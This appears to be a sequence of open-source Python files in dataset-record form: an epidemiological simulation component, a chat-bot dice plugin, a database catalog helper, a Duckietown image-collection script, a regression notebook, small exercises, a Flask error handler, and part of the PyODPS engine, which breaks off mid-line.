# Setup methods #\n #################\n\n # noinspection PyAttributeOutsideInit\n def setup(self, builder: Builder) -> None:\n super().setup(builder)\n self.pipelines = self._get_pipelines(builder)\n self.population_view = self._get_population_view(builder)\n self.early_neonatal_interval, self.late_neonatal_interval = self._get_age_intervals(builder)\n self.interpolator = self._get_interpolator(builder)\n\n self._register_simulant_initializer(builder)\n\n def _get_relative_risk_source(self, builder: Builder) -> Pipeline:\n return builder.value.register_value_producer(\n self.relative_risk_pipeline_name,\n source=self._get_relative_risk,\n requires_columns=[self.early_neonatal_relative_risk_column_name,\n self.late_neonatal_relative_risk_column_name]\n )\n\n def _get_population_attributable_fraction_source(self, builder: Builder) -> LookupTable:\n paf_data = builder.data.load(f'{self.risk}.population_attributable_fraction')\n return builder.lookup.build_table(paf_data, key_columns=['sex'], parameter_columns=['age', 'year'])\n\n def _get_target_modifier(self, builder: Builder) -> Callable[[pd.Index, pd.Series], pd.Series]:\n\n def adjust_target(index: pd.Index, target: pd.Series) -> pd.Series:\n return target * self.relative_risk(index)\n\n return adjust_target\n\n def _get_pipelines(self, builder: Builder) -> Dict[str, Pipeline]:\n return {\n self.lbwsg_exposure_pipeline_name: builder.value.get_value(self.lbwsg_exposure_pipeline_name),\n self.low_birth_weight_pipeline_name: builder.value.get_value(self.low_birth_weight_pipeline_name),\n self.short_gestation_pipeline_name: builder.value.get_value(self.short_gestation_pipeline_name)\n }\n\n def _get_population_view(self, builder: Builder) -> PopulationView:\n return builder.population.get_view([\n 'age',\n 'sex',\n self.early_neonatal_relative_risk_column_name,\n self.late_neonatal_relative_risk_column_name\n ])\n\n @staticmethod\n def _get_age_intervals(builder: Builder) -> Tuple[pd.Interval, pd.Interval]:\n age_bins = builder.data.load(data_keys.POPULATION.AGE_BINS).set_index('age_group_name')\n return tuple(\n pd.Interval(*(age_bins.loc[age_group_id, ['age_start', 'age_end']]))\n for age_group_id in ['Early Neonatal', 'Late Neonatal']\n )\n\n # noinspection PyMethodMayBeStatic\n def _get_interpolator(self, builder: Builder) -> pd.Series:\n # get relative risk data for target\n interpolators = builder.data.load(data_keys.LBWSG.RELATIVE_RISK_INTERPOLATOR)\n interpolators = (\n # isolate RRs for target and drop non-neonatal age groups since they have RR == 1.0\n interpolators[interpolators['age_end'] < 0.5]\n .drop(columns=['age_end', 'year_start', 'year_end'])\n .set_index(['sex', 'value'])\n .apply(lambda row: (metadata.AGE_GROUP.EARLY_NEONATAL_ID if row['age_start'] == 0.0\n else metadata.AGE_GROUP.LATE_NEONATAL_ID), axis=1)\n .rename('age_group_id')\n .reset_index()\n .set_index(['sex', 'age_group_id'])\n )['value']\n\n interpolators = interpolators.apply(lambda x: pickle.loads(bytes.fromhex(x)))\n return interpolators\n\n def _register_simulant_initializer(self, builder: Builder) -> None:\n builder.population.initializes_simulants(\n self.on_initialize_simulants,\n creates_columns=[self.early_neonatal_relative_risk_column_name,\n self.late_neonatal_relative_risk_column_name],\n requires_columns=['sex'],\n requires_values=[self.lbwsg_exposure_pipeline_name,\n self.low_birth_weight_pipeline_name,\n self.short_gestation_pipeline_name]\n )\n\n ########################\n # Event-driven methods #\n ########################\n\n def on_initialize_simulants(self, pop_data: SimulantData) -> None:\n gestational_age = self.pipelines[self.short_gestation_pipeline_name](pop_data.index)\n birth_weight = self.pipelines[self.low_birth_weight_pipeline_name](pop_data.index)\n\n is_male = (\n self.population_view.subview(['sex']).get(pop_data.index).squeeze(axis=1) == 'Male'\n )\n is_tmrel = (\n (data_values.LBWSG.TMREL_GESTATIONAL_AGE_INTERVAL.left <= gestational_age)\n & (data_values.LBWSG.TMREL_BIRTH_WEIGHT_INTERVAL.left <= birth_weight)\n )\n\n def get_relative_risk_for_age_group(column_name: str, age_group_id: int) -> pd.Series:\n log_relative_risk = pd.Series(0.0, index=pop_data.index, name=column_name)\n log_relative_risk[is_male & ~is_tmrel] = (\n self.interpolator['Male', age_group_id](gestational_age[is_male & ~is_tmrel],\n birth_weight[is_male & ~is_tmrel], grid=False)\n )\n log_relative_risk[~is_male & ~is_tmrel] = (\n self.interpolator['Female', age_group_id](gestational_age[~is_male & ~is_tmrel],\n birth_weight[~is_male & ~is_tmrel], grid=False)\n )\n return np.exp(log_relative_risk)\n\n early_neonatal_rr = get_relative_risk_for_age_group(self.early_neonatal_relative_risk_column_name,\n metadata.AGE_GROUP.EARLY_NEONATAL_ID)\n late_neonatal_rr = get_relative_risk_for_age_group(self.late_neonatal_relative_risk_column_name,\n metadata.AGE_GROUP.LATE_NEONATAL_ID)\n self.population_view.update(pd.concat([early_neonatal_rr, late_neonatal_rr], axis=1))\n\n ##################################\n # Pipeline sources and modifiers #\n ##################################\n\n def _get_relative_risk(self, index: pd.Index) -> pd.Series:\n pop = self.population_view.get(index)\n early_neonatal_mask = ((self.early_neonatal_interval.left <= pop.age)\n & (pop.age < self.early_neonatal_interval.right))\n late_neonatal_mask = ((self.late_neonatal_interval.left <= pop.age)\n & (pop.age < self.late_neonatal_interval.right))\n\n relative_risk = pd.Series(1.0, index=index)\n relative_risk[early_neonatal_mask] = pop.loc[early_neonatal_mask, self.early_neonatal_relative_risk_column_name]\n relative_risk[late_neonatal_mask] = pop.loc[late_neonatal_mask, self.late_neonatal_relative_risk_column_name]\n return relative_risk\n","repo_name":"ihmeuw/vivarium_ciff_sam","sub_path":"src/vivarium_ciff_sam/components/lbwsg.py","file_name":"lbwsg.py","file_ext":"py","file_size_in_byte":15273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19963316994","text":"import logging\nimport dice\nfrom Legobot.Lego import Lego\n\nlogger = logging.getLogger(__name__)\n\n\nclass Roll(Lego):\n @staticmethod\n def listening_for(message):\n if message['text'] is not None:\n try:\n return message['text'].split()[0] == '!roll'\n except Exception as e:\n logger.error('Dice lego failed to check message text: %s'\n % e)\n return False\n\n def handle(self, message):\n opts = None\n logger.info(message)\n try:\n target = message['metadata']['source_channel']\n opts = {'target': target}\n except IndexError:\n logger.error('Could not identify message source in message: %s'\n % str(message))\n if len(message['text'].split()) > 1:\n dice_string = message['text'].split()[1]\n results = dice.roll(dice_string)\n if isinstance(results, int):\n results_str = str(results)\n else:\n results_str = ', '.join([str(result) for result in results])\n txt = \"You Rolled: %s\" % results_str\n else:\n txt = \"Roll what? Try !help roll\"\n self.reply(message, txt, opts)\n\n @staticmethod\n def get_name():\n return 'roll'\n\n @staticmethod\n def get_help():\n help_text = \"Roll some dice. Usage: \" \\\n \"!roll 2d6t, !roll 6d6^3, !roll d20. \"\\\n \"Reference: https://pypi.python.org/pypi/dice\"\n return help_text\n","repo_name":"Legobot/legos.dice","sub_path":"legos/dice.py","file_name":"dice.py","file_ext":"py","file_size_in_byte":1560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40828971736","text":"import os, sys\nimport logging\nimport psycopg2\nimport json\n\nfrom common.logging import LoggingUtil\nfrom urllib.parse import urlparse\n\nclass APSVIZ_DB:\n\n # dbname looks like this: 'asgs_dashboard'\n # instance_id looks like this: '2744-2021050618-namforecast'\n def __init__(self, logger):\n self.conn = None\n self.logger = logger\n\n self.user = os.getenv('APSVIZ_DB_USERNAME', 'user').strip()\n self.pswd = os.getenv('APSVIZ_DB_PASSWORD', 'password').strip()\n self.db_name = os.getenv('APSVIZ_DB_DATABASE', 'database').strip()\n self.host = os.getenv('ASGS_DB_HOST', 'host').strip()\n self.port = os.getenv('ASGS_DB_PORT', '5432').strip()\n\n try:\n # connect to asgs database\n conn_str = f'host={self.host} port={self.port} dbname={self.db_name} user={self.user} password={self.pswd}'\n\n self.conn = psycopg2.connect(conn_str)\n self.conn.set_session(autocommit=True)\n self.cursor = self.conn.cursor()\n except:\n e = sys.exc_info()[0]\n self.logger.error(f\"FAILURE - Cannot connect to APSVIZ DB. error {e}\")\n\n def __del__(self):\n \"\"\"\n close up the DB\n :return:\n \"\"\"\n try:\n if self.cursor is not None:\n self.cursor.close()\n if self.conn is not None:\n self.conn.close()\n except Exception as e:\n self.logger.error(f'Error detected closing cursor or connection. {e}')\n #sys.exc_info()[0]\n\n def get_user(self):\n return self.user\n\n def get_password(self):\n return self.pswd\n\n def get_host(self):\n return self.host\n\n def get_port(self):\n return self.port\n\n def get_dbname(self):\n return self.db_name\n\n def find_cat_group(self, date_str):\n exists = False\n\n try:\n sql_stmt = 'SELECT name FROM catalog WHERE id=%s'\n params = [f\"{date_str}\",]\n self.logger.debug(f\"APSVIZ_DB: sql statement is: {sql_stmt} params are: {params}\")\n\n self.cursor.execute(sql_stmt, params)\n ret = self.cursor.fetchone()\n if ret:\n self.logger.debug(f\"value returned is: {ret}\")\n exists = True\n except:\n e = sys.exc_info()[0]\n self.logger.error(f\"FAILURE - Cannot retrieve catalog id. error {e}\")\n\n self.logger.info(f'APSVIZ_DB: Found catalog group? {exists}')\n return exists\n\n # retrieve the catalog type id, given the type name - i.e. \"group\"\n def get_catalog_type_id(self, cat_type):\n self.logger.info(f'APSVIZ_DB: get_catalog_type_id, cat_type:{cat_type}')\n\n cat_type_id = -1\n\n try:\n sql_stmt = 'SELECT id FROM catalog_type_lu WHERE name=%s'\n params = [f\"{cat_type}\",]\n self.logger.debug(f\"APSVIZ_DB: sql statement is: {sql_stmt} params are: {params}\")\n\n self.cursor.execute(sql_stmt, params)\n ret = self.cursor.fetchone()\n if ret:\n self.logger.debug(f\"value returned is: {ret}\")\n cat_type_id = ret[0]\n except:\n e = sys.exc_info()[0]\n self.logger.error(f\"FAILURE - Cannot retrieve catalog type id. error {e}\")\n\n self.logger.info(f'APSVIZ_DB: catalog type id is: {cat_type_id}')\n return cat_type_id\n\n # retrieve the catalog base id\n # don't know what to search for, so for\n # now just returning the first one\n def get_catalog_base_id(self):\n\n cat_base_id = -1\n\n try:\n sql_stmt = 'SELECT id FROM catalog_base'\n self.logger.debug(f\"APSVIZ_DB: sql statement is: {sql_stmt}\")\n\n self.cursor.execute(sql_stmt)\n ret = self.cursor.fetchone()\n if ret:\n self.logger.debug(f\"value returned is: {ret}\")\n cat_base_id = ret[0]\n except:\n e = sys.exc_info()[0]\n self.logger.error(f\"FAILURE - Cannot retrieve catalog base id. error {e}\")\n\n self.logger.info(f'APSVIZ_DB: catalog base id is: {cat_base_id}')\n return cat_base_id\n\n # update catalog workbench entry using the update_catalog_workbench SP\n def update_workbench(self, workbench_list):\n self.logger.info(f'APSVIZ_DB: Updating workbench list: {workbench_list}')\n\n try:\n json_wb = json.dumps(workbench_list)\n self.cursor.callproc('update_catalog_workbench', [json_wb, ])\n except Exception as e:\n self.logger.error(f'Error detected updating apsviz catalog workbench. {e}')\n\n # create a catalog for a new day, using the insert_catalog SP\n def create_new_catalog(self, run_date, name, external, cat_type=\"group\"):\n self.logger.info(f'APSVIZ_DB: Creating new catalog, name:{name} external:{external} run_date:{run_date} cat_type:{cat_type}')\n\n # first, lookup catalog type id\n cat_type_id = self.get_catalog_type_id(cat_type)\n\n # now get the catalog base_id\n # for now just grab first one\n cat_base_id = self.get_catalog_base_id()\n\n # now add new catalog entry\n try:\n self.cursor.callproc('insert_catalog', (run_date, name, external, cat_type_id, cat_base_id))\n except Exception as e:\n self.logger.error(f'Error detected creating new catalog. {e}')\n\n\n # stored proc looks like this:\n # insert_catalog_member(_catalog_id text, _grid_type text, _event_type text, _instance_name text, _run_date date, _member_def json,\n # _met_class text DEFAULT ''::text, _storm_name text DEFAULT ''::text, _cycle text DEFAULT ''::text, _advisory_number text DEFAULT ''::text,\n # _member_id text DEFAULT NULL::text, _project_code text DEFAULT ''::text, _product_type text DEFAULT ''::text, _group_id integer DEFAULT NULL::integer) returns integer\n\n def add_cat_item(self, grid_type, event_type, run_date, instance_name, member_json, met_class, storm_name, cycle, advisory, project_code, product_type):\n self.logger.info(f'APSVIZ_DB: Creating new catalog member, grid_type:{grid_type} event_type:{event_type} run_date:{run_date} instance_name:{instance_name} met_class:{met_class} storm_name:{storm_name} cycle:{cycle} advisory:{advisory} , project_code:{project_code}, product_type:{product_type}')\n\n # convert json to a string for DB\n member_str = json.dumps(member_json)\n\n # now add new catalog entry\n try:\n self.cursor.callproc('insert_catalog_member', (run_date, grid_type, event_type, instance_name, run_date, member_str, met_class, storm_name, cycle, advisory, project_code, product_type))\n except Exception as e:\n self.logger.error(f'Error detected creating new catalog member. {e}')\n\n # check to see if a tropical run already exists for a given date\n def get_tropical_run(self, run_date):\n self.logger.info(f'APSVIZ_DB: retrieving tropical run ids for given date, run_date: {run_date}')\n tropical_member_ids = []\n\n try:\n self.cursor.callproc('get_tropical_member_id', (run_date, ))\n ret = self.cursor.fetchone()\n if ret:\n self.logger.debug(f\"value returned is: {ret}\")\n tropical_member_ids = ret[0]\n\n except Exception as e:\n self.logger.error(f'Error retrieving any tropical runs for today. {e}')\n\n self.logger.debug(f'returning ret={ret}')\n return tropical_member_ids\n","repo_name":"RENCI/APSViz-LoadData","sub_path":"apsviz_db.py","file_name":"apsviz_db.py","file_ext":"py","file_size_in_byte":7500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7816301879","text":"#!/usr/bin/env python3\n\nimport os\nfrom functools import reduce\n\nimport cv2\nimport numpy as np\n## Important - don't remove these imports even though they seem unneeded\nimport pyglet\nfrom pyglet.window import key\n\nfrom agent import PurePursuitPolicy\nfrom utils import launch_env, seed, makedirs, xminyminxmaxymax2xywfnormalized, run, \\\n train_test_split\n\nfrom setup import find_all_boxes_and_classes\n\n\n\nclass SkipException(Exception):\n pass\n\n# Need to change this dataset directory if not running inside docker container... TODO fix\nDATASET_DIR=\"/jupyter_ws/solution/duckietown_dataset\"\nIMAGE_SIZE=416\nSPLIT_PERCENTAGE=0.8\n\n\nnpz_index = 0\n\ndef save_npz(img, boxes, classes):\n global npz_index\n\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n cv2.imwrite(f\"{DATASET_DIR}/images/{npz_index}.jpg\", img)\n boxes = np.array([xminyminxmaxymax2xywfnormalized(box, IMAGE_SIZE) for box in boxes])\n with open(f\"{DATASET_DIR}/labels/{npz_index}.txt\", \"w\") as f:\n for i in range(len(boxes)):\n f.write(f\"{classes[i]} \"+\" \".join(map(str,boxes[i]))+\"\\n\")\n \n print(f\"COLLECTED IMAGE #{npz_index}\")\n\n npz_index += 1\n\n# some setup\nseed(123)\nMAX_STEPS = 1000\nnb_of_steps = 0\n\n# we interate over several maps to get more diverse data\npossible_maps = [\n \"loop_pedestrians\",\n \"udem1\",\n \"loop_dyn_duckiebots\",\n \"zigzag_dists\"\n]\nenv_id = 0\nenv = None\nwhile True:\n if env is not None:\n try:\n env.window.close()\n env.close()\n except:\n pass\n \n if env_id >= len(possible_maps):\n env_id = env_id % len(possible_maps)\n env = launch_env(possible_maps[env_id])\n policy = PurePursuitPolicy(env)\n obs = env.reset()\n\n inner_steps = 0\n if nb_of_steps >= MAX_STEPS:\n break\n\n while True:\n if nb_of_steps >= MAX_STEPS or inner_steps > 100:\n break\n\n action = policy.predict(np.array(obs))\n\n obs, rew, done, misc = env.step(action)\n seg = env.render_obs(True)\n\n\n obs = cv2.resize(obs, (IMAGE_SIZE, IMAGE_SIZE))\n seg = cv2.resize(seg, (IMAGE_SIZE, IMAGE_SIZE))\n\n #env.render(segment=True)\n\n try:\n boxes, classes = find_all_boxes_and_classes(seg)\n except SkipException as e:\n print(e)\n continue\n\n # TODO uncomment me if you want to save images with bounding boxes (this will NOT work for training, but is useful for debugging)\n #for box in boxes:\n # pt1 = (box[0], box[1])\n # pt2 = (box[2], box[3])\n # cv2.rectangle(obs, pt1, pt2, (255,0,0), 2)\n\n save_npz(obs, boxes, classes)\n nb_of_steps += 1\n inner_steps += 1\n\n if done or inner_steps % 100 == 0:\n env.reset()\n if nb_of_steps >= MAX_STEPS:\n break\n\nprint(\"NOW GOING TO MOVE IMAGES INTO TRAIN AND VAL\")\nall_image_names = [str(idx) for idx in range(npz_index)]\ntrain_test_split(all_image_names, SPLIT_PERCENTAGE, DATASET_DIR)\nprint(\"DONE!\")\n#run(f\"rm -rf {DATASET_DIR}/images {DATASET_DIR}/labels\")\n\n","repo_name":"duckietown/mooc-exercises","sub_path":"object-detection/solution/utils/data_collection.py","file_name":"data_collection.py","file_ext":"py","file_size_in_byte":3061,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"28810748510","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # -*- coding: utf-8 -*-\n# \"\"\"\n# Created on sun sept 5 08:58:38 2020\n# \n# @author: ashutosh yadav\n# SCH NO.. 181112022\n# \"\"\"\n# # Data Science Assignment : Using Formula\n# #importing libraries\n# import pandas as pd\n# import numpy as np\n# import matplotlib.pyplot as plt\n# from sklearn import linear_model\n# from sklearn.model_selection import train_test_split\n# from sklearn.metrics import mean_absolute_error, mean_squared_error\n# import seaborn as sns\n# from sklearn.metrics import r2_score\n\n# In[6]:\n\n\n#import data sets\nfrom sklearn.datasets import load_iris \n\niris = load_iris()\nx = iris.data\ny = iris.target\nprint(iris['target_names'])\n\n\n# In[16]:\n\n\n#split dataset into training set and test set\nx_train , x_test , y_train , y_test = train_test_split(x,y,test_size = 0.2 , random_state = 101)\n\n\n# In[17]:\n\n\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# In[21]:\n\n\nreg = linear_model.LinearRegression()\nreg.fit(x_train,y_train)\nprint(reg.coef_) #it is b1 of eq b0+b1*x\nprint (reg.intercept_)\n\n\n# In[23]:\n\n\npred_y = reg.predict(x_test)\n\n\n# In[27]:\n\n\nacc = r2_score(y_test , pred_y)\nprint(acc)\n\n\n# In[28]:\n\n\n#MAE measures average mag. of errors in set predictions without considering their dir..\nprint (mean_absolute_error(y_test,pred_y))\n\n\n# In[30]:\n\n\n#PMSE is average squared difference b/w estimated and actual val\nprint(mean_squared_error(y_test,pred_y))\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"Ashutoshy504/Data-Science-CSE-344","sub_path":"Linear_reg (1).py","file_name":"Linear_reg (1).py","file_ext":"py","file_size_in_byte":1439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2200692849","text":"# Task 3\n# Create your own implementation of an iterable, which could be used inside for-in loop. Also, add logic for retrieving elements\n# using square brackets syntax.\nlst = ['mama','papa','Mike','Kate','Sara','Masha','Ann','Nikoletta']\nit1 = iter(lst)\nprint(it1)\ndef get_by_index(iterable,index): #function wich receives an iterable and index to retrieve a value\n num = 0\n for i in iterable:\n if num == index:\n return i\n num+=1\nprint(get_by_index(it1,4)) # this code work only once correct because the iterator resumes afer 1 result from current position\n\n\n","repo_name":"ivankoffpavel/BeetRootTasks","sub_path":"Lessons/Lesson 19/HW/Getbyindex.py","file_name":"Getbyindex.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32518052716","text":"from functools import wraps\n\nfrom flask import request, session, current_app, render_template\n\nimport traceback\n\nimport logging\nlogging.basicConfig(level=logging.DEBUG)\nlogger = logging.getLogger(__name__)\n\n# from exceptions import error_messages\n\nfrom .constants import UserType\n\nfrom ..models import User as UserModel\n\nfrom exceptions import HTMLException,JSONException\n\nfrom .login import current_user\n\ndef catch_exception(func):\n\n\t@wraps(func)\n\tdef wrapper2(*args,**kwargs):\n\n\t\ttry:\n\t\t\treturn func(*args,**kwargs)\n\t\texcept JSONException as e:\n\t\t\tlogger.error(traceback.format_exc())\n\t\t\traise e\n\n\t\t# HTMLException\n\t\texcept HTMLException as e:\n\t\t\tlogger.error(traceback.format_exc())\n\t\t\treturn render_template(\n\t\t\t\t'home/error.html',\n\t\t\t\tdata={\n\t\t\t\t\t'http_code':e.code,\n\t\t\t\t\t'error_code':e.error_code,\n\t\t\t\t\t'error_message':e.error_message,\n\t\t\t\t\t'error_detail':e.error_detail,\n\t\t\t\t\t'error_html':e.error_html,\n\t\t\t\t},\n\t\t\t\tcurrent_app=current_app,\n\t\t\t\tcurrent_user=current_user,\n\t\t\t), e.code\n\n\t\texcept Exception as e:\n\t\t\tlogger.error(traceback.format_exc())\n\t\t\treturn render_template(\n\t\t\t\t'home/error.html',\n\t\t\t\tdata={\n\t\t\t\t\t'http_code':500,\n\t\t\t\t\t# 'error_code':e.error_code,\n\t\t\t\t\t# 'error_message':e.error_message,\n\t\t\t\t\t'error_detail':traceback.format_exc(),\n\t\t\t\t\t# 'error_html':e.error_html,\n\t\t\t\t},\n\t\t\t\tcurrent_app=current_app,\n\t\t\t\tcurrent_user=current_user,\n\t\t\t), 500\n\n\treturn wrapper2\n","repo_name":"cllen/graduation-design","sub_path":"1code/tms-flask/server/applications/tms/utils/exception.py","file_name":"exception.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20374733596","text":"#!/bin/usr/env python3\r\n\r\ndef main():\r\n d = {}\r\n lsts, items = map(int, input().split())\r\n\r\n for i in range(lsts):\r\n item = input().split()[:items]\r\n #print(item)\r\n for j in item:\r\n \r\n if j in d.keys():\r\n d[j]+=1\r\n if j not in d.keys():\r\n d[j] = 1\r\n \r\n \r\n #print(d)\r\n count=0\r\n for k, v in d.items():\r\n if v == lsts:\r\n count+=1\r\n print(count)\r\n\r\n\r\n aList = list()\r\n for k, v in d.items():\r\n if v == lsts:\r\n aList.append(k)\r\n\r\n aList.sort()\r\n for i in aList:\r\n print(i)\r\n \r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"tlittle2/Kattis-Solutions-Python","sub_path":"Shopping/shopping.py","file_name":"shopping.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16690200311","text":"from __future__ import absolute_import\n\nimport itertools\nimport time\nimport types\nimport os\nimport sys\nimport threading\nfrom operator import itemgetter\n\nfrom ...compat import six, Enum, Iterable\nfrom ...models import Resource\nfrom ...config import options\nfrom ...dag import DAG\nfrom ...utils import init_progress_ui\nfrom ...ui.progress import create_instance_group\nfrom ...compat import futures\nfrom ...types import PartitionSpec\nfrom .. import utils\nfrom ..expr.expressions import Expr, CollectionExpr, Scalar\nfrom ..expr.core import ExprDictionary, ExprDAG\nfrom .context import context, ExecuteContext\nfrom .errors import DagDependencyError, CompileError\nfrom .formatter import ExprExecutionGraphFormatter\n\n\nclass EngineTypes(Enum):\n ODPS = 'ODPS'\n PANDAS = 'PANDAS'\n SEAHAWKS = 'SEAHAWKS'\n SQLALCHEMY = 'SQLALCHEMY'\n ALGO = 'ALGO'\n\n\nclass Backend(object):\n\n def visit_source_collection(self, expr):\n raise NotImplementedError\n\n def visit_project_collection(self, expr):\n raise NotImplementedError\n\n def visit_apply_collection(self, expr):\n raise NotImplementedError\n\n def visit_lateral_view(self, expr):\n raise NotImplementedError\n\n def visit_filter_collection(self, expr):\n raise NotImplementedError\n\n def visit_filter_partition_collection(self, expr):\n raise NotImplementedError\n\n def visit_algo(self, expr):\n raise NotImplementedError\n\n def visit_slice_collection(self, expr):\n raise NotImplementedError\n\n def visit_element_op(self, expr):\n raise NotImplementedError\n\n def visit_binary_op(self, expr):\n raise NotImplementedError\n\n def visit_unary_op(self, expr):\n raise NotImplementedError\n\n def visit_math(self, expr):\n raise NotImplementedError\n\n def visit_string_op(self, expr):\n raise NotImplementedError\n\n def visit_datetime_op(self, expr):\n raise NotImplementedError\n\n def visit_composite_op(self, expr):\n raise NotImplementedError\n\n def visit_groupby(self, expr):\n raise NotImplementedError\n\n def visit_mutate(self, expr):\n raise NotImplementedError\n\n def visit_reshuffle(self, expr):\n raise NotImplementedError\n\n def visit_value_counts(self, expr):\n raise NotImplementedError\n\n def visit_sort(self, expr):\n raise NotImplementedError\n\n def visit_sort_column(self, expr):\n raise NotImplementedError\n\n def visit_distinct(self, expr):\n raise NotImplementedError\n\n def visit_sample(self, expr):\n raise NotImplementedError\n\n def visit_pivot(self, expr):\n raise NotImplementedError\n\n def visit_reduction(self, expr):\n raise NotImplementedError\n\n def visit_user_defined_aggregator(self, expr):\n raise NotImplementedError\n\n def visit_column(self, expr):\n raise NotImplementedError\n\n def visit_function(self, expr):\n raise NotImplementedError\n\n def visit_builtin_function(self, expr):\n raise NotImplementedError\n\n def visit_sequence(self, expr):\n raise NotImplementedError\n\n def visit_cum_window(self, expr):\n raise NotImplementedError\n\n def visit_rank_window(self, expr):\n raise NotImplementedError\n\n def visit_shift_window(self, expr):\n raise NotImplementedError\n\n def visit_scalar(self, expr):\n raise NotImplementedError\n\n def visit_join(self, expr):\n raise NotImplementedError\n\n def visit_cast(self, expr):\n raise NotImplementedError\n\n def visit_union(self, expr):\n raise NotImplementedError\n\n def visit_concat(self, expr):\n raise NotImplementedError\n\n def visit_append_id(self, expr):\n raise NotImplementedError\n\n def visit_split(self, expr):\n raise NotImplementedError\n\n def visit_extract_kv(self, expr):\n raise NotImplementedError\n\n\nclass ExecuteNode(object):\n def __init__(self, expr_dag, result_index=None, callback=None):\n self.expr_dag = expr_dag\n self.result_index = result_index\n self.callback = callback\n\n @property\n def expr(self):\n return self.expr_dag.root\n\n def run(self, **execute_kw):\n raise NotImplementedError\n\n def __call__(self, ui=None, progress_proportion=None):\n res = self.run(ui=ui, progress_proportion=progress_proportion)\n if self.callback:\n self.callback(res)\n return res\n\n def __repr__(self):\n raise NotImplementedError\n\n def _repr_html_(self):\n raise NotImplementedError\n\n\nclass ExecuteDAG(DAG):\n def _run(self, ui, progress_proportion=1.0):\n curr_progress = ui.current_progress() or 0\n try:\n calls = self.topological_sort()\n results = [None] * len(calls)\n\n result_idx = dict()\n for i, call in enumerate(calls):\n res = call(ui=ui, progress_proportion=progress_proportion / len(calls))\n results[i] = res\n if call.result_index is not None:\n result_idx[call.result_index] = i\n\n return [results[result_idx[idx]] for idx in sorted(result_idx)]\n except Exception as e:\n if self._can_fallback() and self._need_fallback(e):\n ui.update(curr_progress)\n return self.fallback()._run(ui, progress_proportion)\n\n raise\n\n def _run_in_parallel(self, ui, n_parallel, wait=True, timeout=None, progress_proportion=1.0):\n submits_lock = threading.RLock()\n submits = dict()\n user_wait = dict()\n result_wait = dict()\n results = dict()\n\n curr_progress = ui.current_progress() or 0\n\n def actual_run(dag=None, is_fallback=False):\n dag = dag or self\n calls = dag.topological_sort()\n result_calls = sorted([c for c in calls if c.result_index is not None],\n key=lambda x: x.result_index)\n fallback = threading.Event()\n\n if is_fallback:\n ui.update(curr_progress)\n\n def close_ui(*_):\n with submits_lock:\n if all(call in submits and call in results for call in result_calls):\n ui.close()\n\n executor = futures.ThreadPoolExecutor(max_workers=n_parallel)\n\n for call in calls:\n if call.result_index is not None and is_fallback:\n # if is fallback, we do not create new future\n # cause the future objects have been passed to user\n future = result_wait[call.result_index]\n else:\n future = futures.Future()\n user_wait[call] = future\n if call.result_index is not None:\n future.add_done_callback(close_ui)\n if not is_fallback:\n result_wait[call.result_index] = future\n\n for call in calls:\n def run(func):\n try:\n if fallback.is_set():\n raise DagDependencyError('Node execution failed due to callback')\n\n if call.result_index is None or not is_fallback:\n user_wait[func].set_running_or_notify_cancel()\n\n prevs = dag.predecessors(func)\n if prevs:\n fs = [user_wait[p] for p in prevs]\n for f in fs:\n if f.exception():\n raise DagDependencyError('Node execution failed due to failure of '\n 'previous node, exception: %s' % f.exception())\n\n res = func(ui=ui, progress_proportion=progress_proportion / len(calls))\n results[func] = res\n user_wait[func].set_result(res)\n return res\n except:\n e, tb = sys.exc_info()[1:]\n if not is_fallback and self._can_fallback() and self._need_fallback(e):\n if not fallback.is_set():\n fallback.set()\n new_dag = dag.fallback()\n actual_run(new_dag, True)\n if not fallback.is_set():\n results[func] = (e, tb)\n if six.PY2:\n user_wait[func].set_exception_info(e, tb)\n else:\n user_wait[func].set_exception(e)\n raise\n finally:\n with submits_lock:\n for f in dag.successors(func):\n if f in submits:\n continue\n prevs = dag.predecessors(f)\n if all(p in submits and user_wait[p].done() for p in prevs):\n submits[f] = executor.submit(run, f)\n\n if not dag.predecessors(call):\n with submits_lock:\n submits[call] = executor.submit(run, call)\n\n if wait:\n dones, _ = futures.wait(user_wait.values())\n for done in dones:\n done.result()\n return [results[c] for c in\n sorted([c for c in calls if c.result_index is not None],\n key=lambda x: x.result_index)]\n\n if timeout:\n futures.wait(user_wait.values(), timeout=timeout)\n\n actual_run()\n if wait:\n return [it[1].result() for it in sorted(result_wait.items(), key=itemgetter(0))]\n else:\n return [it[1] for it in sorted(result_wait.items(), key=itemgetter(0))]\n\n def execute(self, ui=None, async_=False, n_parallel=1, timeout=None,\n close_and_notify=True, progress_proportion=1.0, **kw):\n async_ = kw.get('async', async_)\n ui = ui or init_progress_ui(lock=async_)\n succeeded = False\n if not async_:\n try:\n if n_parallel <= 1:\n results = self._run(ui, progress_proportion)\n else:\n results = self._run_in_parallel(ui, n_parallel, progress_proportion=progress_proportion)\n succeeded = True\n return results\n finally:\n if close_and_notify or succeeded:\n ui.close()\n\n if succeeded:\n ui.notify('DataFrame execution succeeded')\n else:\n ui.notify('DataFrame execution failed')\n else:\n try:\n fs = self._run_in_parallel(ui, n_parallel, wait=not async_, timeout=timeout,\n progress_proportion=progress_proportion)\n succeeded = True\n return fs\n finally:\n if succeeded:\n ui.notify('DataFrame execution submitted')\n else:\n ui.notify('DataFrame execution failed to summit')\n\n def _can_fallback(self):\n return hasattr(self, 'fallback') and self.fallback is not None\n\n def _need_fallback(self, e):\n return hasattr(self, 'need_fallback') and 